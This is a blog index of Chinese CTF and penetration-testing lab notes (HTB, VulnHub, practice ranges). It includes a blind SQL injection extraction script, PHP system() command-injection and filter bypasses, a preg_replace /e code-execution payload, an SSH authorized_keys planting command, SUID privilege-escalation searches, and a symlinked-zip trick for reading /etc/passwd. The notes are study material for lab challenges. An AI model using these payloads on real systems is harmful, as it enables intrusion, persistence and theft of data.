[靶场笔记]第十三章

if判断 写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️) if(判断语句,真结果,假结果) 下面是一个示例exp import requests s=requests.session() flag = '' for i in range(1,50): for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}': url="..." sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j) data={"id":sqls} c = s.post(url,data=data,timeout=10) if 'Hello' in c.text: flag += j print(flag) break base_convert() 这个函数可以在任意进制之间进行切换,例如 base_convert(37907361743,10,36) 就是把十进制转换为36进制,结果是_GET {1}&1=system 先来回顾一下这种用法 $a='system'; $a('cat/flag'); 此时很容易想到一种绕过方法 ?c=($_GET[a])($_GET[b])&a=system&b=cat /flag 但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了 ?c=($_GET{a})($_GET{b})&a=system&b=cat /flag RC4加密 这里记录一个RC4加密脚本 from urllib import parse def s_init(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒 S[i], S[j] = S[j], S[i] return S def rc4_encode(plain_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in plain_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_decode(cipher_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in cipher_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_encode_url(plain_text, key): return parse.quote(rc4_encode(plain_text, key)) if __name__ == '__main__': # keys = str(input("Enter the key: ")) keys = 'HereIsTreasure' plain = input("Enter the plain text: ") print("The encoded text is: " + rc4_encode_url(plain, keys)) local_file:// 碰到了一个这样的过滤 ...

February 17, 2024 · 2 min · Red

[HTB]第一章

ssh公钥免密登录 在找到rce后为了达成免密码登录的效果,可以执行下面的代码使用ssh-keygen生成一个id_rsa、id_rsa.pub,并向目标机器写入id_rsa.pub,最后用所提供的账号密码登录就行 ls -al ~/;mkdir ~/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxtAMshGdWeqB9WHylfTUUGksOhANWSAOHBQLDTVVjZIxx3yO7xBBrZcG03iImnJ7/Fa2jFNCtES5m+NUdQ8eChxtkMfzgGyTpcg7iEo9KvIT3zTND5mILQyxUffiyBhXI0WXiRX8Y29QnFq0+GA2N/6XBI56NnRsTASoZfqNQRnISftsfpQnnqX6/YJH7biPhAr4/ePJx7zPJTDitEX8zeH87jb1zaZ1bTVXQbmpZ37qF1NQ+/MebS74t4anEsevYW3qJObZyJsvIX+aILSptA9HMFintYgeg0wiII4hdBSEH7mvB9KHfQ1dtMfpBNL6rUJ2BRhjB3Nq84oh3p5IDWjVkZGQ2PH33e2HogF0KEDMWXhvFOa1ZlxOHkL8nlIG3XB8A8yfFe5doLrv38EhZzsLKxQurRjdG6NwzZXjeQSGV0tFey8uEEgc3FwglfThBmZRNaUOYvYmprFBzmVqO1nHMaOPq2UUd/5KwaIdrgIGeWR7ilTkIwwisAmvrokOCC4lErtA7WO0bECHc8ZiAGlIS+X9XiXJm47FiUlcalXCQYPC3Mnt6aFBq+KhfYbmcn+ZA6X0H28VTDrxQqZVUjku4t06DwCMY+oHeRo9305e9Dkx+tkXTYYeTAbL5G1UoedZ7co9MgXNKix2rjB0LoYZp/pEIxJwjAavAPfxwpQ==" > ~/.ssh/authorized_keys 文件查找 当在进行提权且sudo无法使用时,可以使用下面这句文件查找进行相关可读文件的查询。(有时mail文件夹下会有好东西) find / -type f -user admin -readable 2>/dev/null 搜索高权限指令(提权) find / -perm -u=s -type f 2>/dev/null FUZZ域名 积累一个用法和一个字典集——seclists,很全,同时可以用来fuzz域名什么的,下面是例子 wfuzz -c -w /usr/share/seclists/Discovery/DNS/xxxx.txt -u “http://….” -H “Host: FUZZ.xxxx.com” -hl 7 一个很骚的软链接与文件上传结合用法 如果你碰到了一个文件上传入口,但是要求你只能上传一个压缩包,且压缩包里只能有一个pdf文件,你会怎么做? 这个很骚的做法就是将pdf当作你想要读取的文件的软连接,命令如下 ln -s /etc/passwd test.pdf #软链接 zip --symlinks test.zip test.pdf #--symlinks参数是仅封装软链接文件而非源文件

February 15, 2024 · 1 min · Red

[靶场笔记]第十二章

switch绕过 switch在case判断条件时会将原先是字符串的内容剔除并转换成与判断语句相同的类型 因此,在下面这段代码中 会输出 但是,如果使用弱比较对其进行过滤,例如 if($a=='2') 这个条件是不会成立的,因为'2+0’不等于'2' 短标签绕过 如果php等关键字被过滤,可以尝试使用短标签,例如 <?= ...... ?> <% ..... %> <? ..... ?> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用 <script language="php"> .... </script> #不需要修改参数开关,但是只能在7.0以下可用 []绕过 如果[]不行,可以用{}代替 .user.ini 是php的一个全局配置文件,对整个web服务(nginx)起作用。可以用在文件上传漏洞 auto_prepend_file = <filename> //包含在文件头 auto_append_file = <filename> //包含在文件尾 假设上传了一个图片,如果在与这一文件同级目录下存在php文件,把上面的改成图片文件名,就会把图片包含进php文件里,例如 auto_prepend_file = 1.jpg hash_hmac函数 [羊城杯 2020]Blackcat hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值 参数 必需的 描述 algo 是 要使用的哈希算法名称,例如:“md5”,“sha256”,“haval160,4” 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。 data 是 要进行哈希运算的消息。 key 是 使用 HMAC 生成信息摘要时所使用的密钥。 raw_output 否 设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。 这个函数有一个特性,如果data传入的值为数组,那么就会返回NULL ...

February 6, 2024 · 1 min · Red

[靶场笔记]第十一章

@在php curl中的作用 简单来说,就是当使用上面这个Curl方法时,使用@可以读取文件。因此在一些url参数中如果使用了这个方法(可以用是否是执行ping命令来判断),就可能存在LFI preg_match()函数漏洞 在这个函数中,可以存在三个参数 preg_replace($pattern, $replacement, $subject) 作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。 $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。 /e 可以修正符使该函数将replacement 参数当作 PHP 代码。例如 pat=/abc/e&rep=system("ls")&sub=abc 因为e在这里是作修饰符,因此abc必须用两个斜杠括起来(正则表达式)。 flask session伪造 flask session的构造方式是明文+SECRET_KEY+时间,因此伪造的关键在于获取SECRET_KEY。可以使用flask session manager工具进行伪造 /proc/self/… 这是一个特殊的目录,算是与linux内核的一个接口。如果是/proc/{pid}这样的目录,那么这个目录下的内容则是相应进程的运行信息。 有几个比较重要的文件,可以参考下图(原文) PHP session反序化漏洞 可以看这篇博客,其实就是在生产环境中如果对php session的读取和存储方式不一致,就会导致格式上的差异,从而导致触发反序化漏洞 但仔细一想,在真实渗透环境中应该很少有程序员会在php.ini设置好的基础上再添加其他php session处理器了吧,就当学习一下 题目的名字 有时候,题目的名字就隐藏了这道题的poc,不信可以试试这题😂 不过还是记录一下深信服的EDR RCE吧深信服 EDR终端检测响应平台RCE漏洞代码分析 一个巧妙的变量覆盖 preg_match()绕过 %0a没被禁用的情况下,是可以起到绕过的作用的。不然就是用大量字符导致preg_match()崩溃输出false。这种方法适合用在判断语句如下的情况 if(!preg_match(...)) ereg的00截断 很早之前记录过这个函数,不过不能识别数组的特性会让其返回false。今天再补充一个特性,就是当这个函数读到%00就会截止返回null,可以用来应付下面这种情况 if(ereg(...)!==FALSE) 科学计数法 php的判断是支持科学计数法的,例如1e8,会被判断成三个字符,但是这个数字可比9999999大多了

December 12, 2023 · 1 min · Red

[VulnHub]第五章

本期靶场:Hackable3 and Aragog and Me an My girlfriend FTP服务的上传和下载功能 get是下载,put是上传。当你拥有ftp匿名服务时,就可以试试传一句话木马 wpscan 只要碰到wordpress,就扫一扫,反正也花不了多少时间。需要注意的是,一定要定义扫描插件还是主题漏洞。 linpeas.sh 这个工具可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码。一般用来辅助提权,列出有高权限的脚本或代码 pspy64 这个工具可以用于在不需要root权限的情况下窥探进程,获取UID sudo提权 喜闻乐见的sudo提权,具体可以参考前面几章 X-Forwarded-For 如果当前页面告诉你只能在本地访问,那就加上它 平行越权 在url发现id后手痒都会想去试试看的改值,说不定会有意外收获 (好水的一章。。。不过能记录的确实只有这些)

October 28, 2023 · 1 min · Red